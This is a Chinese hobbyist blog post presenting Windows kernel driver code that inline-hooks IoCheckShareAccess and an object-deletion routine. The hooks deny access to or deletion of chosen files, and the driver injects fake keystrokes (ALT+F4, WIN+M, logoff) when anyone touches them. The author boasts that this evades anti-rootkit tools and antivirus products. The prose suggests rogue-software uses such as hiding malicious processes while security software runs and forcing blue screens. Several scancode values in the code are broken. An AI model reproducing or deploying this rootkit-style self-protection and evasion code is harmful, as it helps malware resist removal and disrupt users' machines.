今天很倒霉,电脑到中关村修了一天,最终确定是主板问题,无奈换了个主板(从此决定以后有钱一定要买个IBM THINKPOD的本本),然后很不爽的重装了系统,写的code因为电脑突然挂掉,重新打开全是乱码,弄了半天的心血一下就over了,之前也没备份,只能重写之.
 
      好久不写东西,这次放点儿好玩的陈旧的东西: object+keyboard+bugcheck.
       取几个关键例程(IopXX)的地址后,替换或Inline hook掉,在其中可以很强大的监控到系统的很多频繁操作,ARK来它来记录监控,以后对比分析系统中可能存在的RK,是个不错的想法. 其中一个小模块可以用来干涉文件的解析,查询,复制,打开,删除等操作.
 
       比如我挂钩了其中的2个函数,一个是解析文件,一个是标记文件状态,只要是我们关心的文件和文件夹, 都可以处理过滤掉. 或者流氓一点,可以让其直接蓝调(方法很多,直接来个Int 3,就OK了). 流氓用来做文件自我保护是个不错的选择. 当然对于狙剑这样没有经过文件系统,而是自己解析磁盘的,挂钩函数就不起作用了. 但一般的ARK: IS, Wsyscheck, Gmer统统无视. 为了演示效果,我把让其一碰就蓝的code注掉了,换成一碰就自动关闭当前窗口 / 最小化所有窗口 / 切换到登录状态, 即驱动模拟按键: ALT+F4, (TABLE), ENTER, ALT+ESC, WIN+M , WIN+R +"logoff"/"shutdown -l", WIN+L....
 
      当然注销的等待时间太长了,驱动中没有找到可以直接注销的方法,只能模拟按键; ALT+F4关闭当前窗口是个不错的选择,当然好多自我保护做的不错的软件已经屏蔽掉这个了.或者弹个messagebox; WIN+L只是切换到登录状态, 干扰用户的正常操作,效果也不是很好. 当然,若不是做流氓程序,保护文件时自然不能让其直接BSOD, 除了上面的方法,还是有其他的一些猥亵选择的,大家自己发挥想象,原理就是callback函数中一旦接受到notify,你可以立即进行处理, 设置EVENT,让R3程序来搞,或者检测到安全软件的启动,就把隐藏的进程还原出来,把恶意行为隐藏起来,等到安全软件退出时,再立马启动....
 
      测试了下360和微点,效果不错,嘿嘿,发点儿关键code
// 保护我们的文件
    if ( IOFILE_INDEX == ObjectIndex) {
         FileName = (PUNICODE_STRING)((UCHAR *)Object+0x030) ; 
          RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
         _wcsupr(Name);

        if (wcsstr(Name , L"SUDAMI") || 
             wcsstr(Name , L"360") ||
             wcsstr(Name , L"MP") ||
             wcsstr(Name , L"DOWNLOAD") ) {
            //检查是不是要保护的文件
             DbgPrint("HandleDelete: Deny\n");

            if ( TRUE == g_kb_valid )
             {
//          sendkb(0x3b, KEY_MAKE);
//          sendkb(0x3b, KEY_BREAK);

                // ALT + ESC
//          sendkb(0x38, KEY_MAKE);
//          sendkb(0x1, KEY_MAKE);
//          sendkb(0x38, KEY_BREAK);
//          sendkb(0x1, KEY_BREAK);

                // ALT + F4
                 sendkb(0x38, KEY_MAKE);
                 sendkb(0x, KEY_MAKE);
                 sendkb(0x, KEY_BREAK);
                 sendkb(0x38, KEY_BREAK);
                // enter
                 sendkb(0x1c, KEY_MAKE);
                 sendkb(0x1c, KEY_BREAK);

                // WIN + M
                 sendkb(0x5b, 2);
                 sendkb(0x, KEY_MAKE);
                 sendkb(0x, KEY_BREAK);
                 sendkb(0x5b, 3);

                /*
         //
         // 模拟注销
         //

         // WIN + r
         sendkb(0x5b, 2);
         sendkb(0x, KEY_MAKE);
         sendkb(0x, KEY_BREAK);
         sendkb(0x5b, 3);

         // shutdown -l
         sendkb(0x1f, KEY_MAKE);
         sendkb(0x1f, KEY_BREAK);
         sendkb(0x23, KEY_MAKE);
         sendkb(0x23, KEY_BREAK);
         sendkb(0x16, KEY_MAKE);
         sendkb(0x16, KEY_BREAK);
         sendkb(0x14, KEY_MAKE);
         sendkb(0x14, KEY_BREAK);
         sendkb(0x20, KEY_MAKE);
         sendkb(0x20, KEY_BREAK);
         sendkb(0x18, KEY_MAKE);
         sendkb(0x18, KEY_BREAK);
         sendkb(0x11, KEY_MAKE);
         sendkb(0x11, KEY_BREAK);
         sendkb(0x31, KEY_MAKE);
         sendkb(0x31, KEY_BREAK);
         sendkb(0x39, KEY_MAKE);
         sendkb(0x39, KEY_BREAK);
         sendkb(0xc, KEY_MAKE);
         sendkb(0xc, KEY_BREAK);
         sendkb(0x26, KEY_MAKE);
         sendkb(0x26, KEY_BREAK);

         // enter
         sendkb(0x1c, KEY_MAKE);
         sendkb(0x1c, KEY_BREAK);
         */


                // WIN + L
//          sendkb(0x5b, 2);
//          sendkb(0x26, KEY_MAKE);
//          sendkb(0x26, KEY_BREAK);
//          sendkb(0x5b, 3);
             }
    
//       ProbeForWrite(sudami,4,4); // let it BSOD.hoho~
            return ;
             DbgPrint("nerver be here~\n");
            goto skip; // nerver be here~
         }    
     }
 
另外,禁止文件的创建,访问,打开等操作,简单点儿的不需要FSD层面,只需挂钩一个函数 即可.微点就是这么做的.嘿嘿,放点儿关键code,大家自由发挥吧:
 
NTSTATUS 
fake_IoCheckShareAccess(
     ACCESS_MASK DesiredAccess,
    ULONG DesiredShareAccess,
     PFILE_OBJECT FileObject,
     PSHARE_ACCESS ShareAccess,
    BOOLEAN Update
     )
{
     NTSTATUS stat ;
    WCHAR Name[300];
     PUNICODE_STRING FileName;
    BOOLEAN ReadAccess;
    BOOLEAN WriteAccess;
    BOOLEAN DeleteAccess;
    
    _asm pushad
    _asm pushfd

    /* Get access masks */
     ReadAccess = (DesiredAccess & (FILE_READ_DATA | FILE_EXECUTE)) != 0;
     WriteAccess = (DesiredAccess & (FILE_WRITE_DATA | FILE_APPEND_DATA)) != 0;
     DeleteAccess = (DesiredAccess & DELETE) != 0;
        
     FileName = (PUNICODE_STRING)((UCHAR *)FileObject+0x030) ; 
     RtlCopyMemory(Name, FileName->Buffer, FileName->MaximumLength );
     _wcsupr(Name);
     DbgPrint("%s", Name);
     if (wcsstr(Name , L"SUDAMI"/*&& (WriteAccess || DeleteAccess || ReadAccess)*/ )
     {
        //检查是不是要保护的文件
         DbgPrint("IoCheckShareAccess - Deny\n");
        
        _asm popfd
        _asm popad

         stat = 0xC0000043;
        goto skip;        
     }
    
    _asm popfd
    _asm popad
        
     stat = orig_IoCheckShareAccess(DesiredAccess, DesiredShareAccess, 
                     FileObject, ShareAccess, Update);
    
skip:
    _asm nop
    return stat;
}
 
 

睡觉咯~~